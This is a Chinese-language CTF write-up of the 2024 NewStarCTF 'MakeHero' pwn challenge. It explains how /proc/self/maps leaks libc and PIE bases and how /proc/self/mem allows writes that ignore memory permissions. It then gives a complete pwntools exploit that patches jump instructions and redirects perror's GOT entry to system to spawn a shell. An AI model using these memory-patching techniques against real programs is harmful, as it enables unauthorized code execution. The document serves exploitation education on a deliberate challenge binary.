proc

linux的根目录下的proc里存放着当前正在运行的进程,通过pid号来访问各个进程运行的信息

proc里的self则存放打开这个文件的进程信息如果通过cat指令cat /proc/self/maps则会显示/usr/bin/cat这个进程下的内存映射信息

如果通过某个可执行文件的open函数来打开/proc/self/maps则会显示当前文件下的内存分布信息,因此/proc/self/maps可以用来泄露libcbase,PIEbase,heapbase

1

类似于gdb中vmmap查看内存映射信息

/proc/self/mem则允许访问当前进程的内存内容,若对/proc/self/mem直接进行修改,相当于修改本文件下的内存数据,而且对该文件修改可以忽略内存权限直接修改,不仅仅可以修改段,也可以修改r x段直接影响程序运行

例题

2024NewStarCTF week4 MakeHero

分析

2

初始化函数,此处读取/proc/self/maps内容打印libcbase和piebase

4

如图所示

3

main函数提供了两次进入sub_1369()函数的机会,sub_1369()就是打开/proc/self/mem并修改

5

lseek的偏移在mem文件中和在运行中的文件一样,偏移量也一样,根据此处的偏移去寻找地址,并用write函数进行修改,一次仅仅能修改一个字节

main函数中仅有两次修改机会,第一次修改elf文件,第二次修改libc文件

思路

本题思路全程修改elf,没用到修改libc,在v5==1进入if执行修改elf

6

第一次修改,修改text段,把v5==1处的jnz改成jz这样后续可以继续进入if判断来修改elf

第二三次修改,把!v5–处的jnz改成jz,之后再改回来,这样v5为0时不会退出后续v5减成负数程序也不会退出

7

三次修改完,程序可以无限次修改elf,此处把sub_1369()里的perror()函数的got表指向system,write字符串改成sh,这样,只要执行到perror("write")就可以getshell,为了触发这个错误,把write函数的第三个参数修改,这样write的返回值不为1,跳到perror("write")成功getshell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import*
from LibcSearcher import*
from ctypes import*
context(log_level='debug',arch='amd64',os='linux')

libc=ELF('./pwn_tools/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6')
libc=ELF('./libc.so.6')#
e=ELF('./pwn')
r=process('./MakeHero')
#r=remote('challenge.basectf.fun',49570)#libc 2.35 0 3.7
s = lambda content : r.send(content)
sl = lambda content : r.sendline(content)
sa = lambda content,send : r.sendafter(content, send)
sla = lambda content,send : r.sendlineafter(content, send)
rc = lambda number : r.recv(number)
ru = lambda content : r.recvuntil(content)
#=================================================================================


ru("** ")
pie=ru(" ")[:-1]
pie=int(pie,16)
ru("## ")
base=ru(" ")[:-1]
base=int(base,16)
log.success(hex(pie))
log.success(hex(base))
sl("1")



pause()
sl(hex(pie+0x17e4))
sleep(1)
sl("74")
pause()
gdb.attach(r)
sl(hex(pie+0x1881))
sleep(1)
sl("84")
pause()
sl(hex(pie+0x1881))
sleep(1)
sl("85")

pause()
sl(hex(pie+0x2031))
sleep(1)
sl("73")
pause()
sl(hex(pie+0x2032))
sleep(1)
sl("68")
pause()
sl(hex(pie+0x2033))
sleep(1)
sl("00")#sh\x00

pause()
sl(hex(pie+0x3fb0+1))
sleep(1)
sl("0d")

libcbase=base//0x100000
libcbase=libcbase%0x10*0x10+5
print(libcbase)
pause()
sl(hex(pie+0x3fb0+2))
sleep(1)
gdb.attach(r)
sl(hex(libcbase))#system
#s(p64(libcbase))


pause()
sl(hex(pie+0x140e+3))
sleep(1)
sl("2")






r.interactive()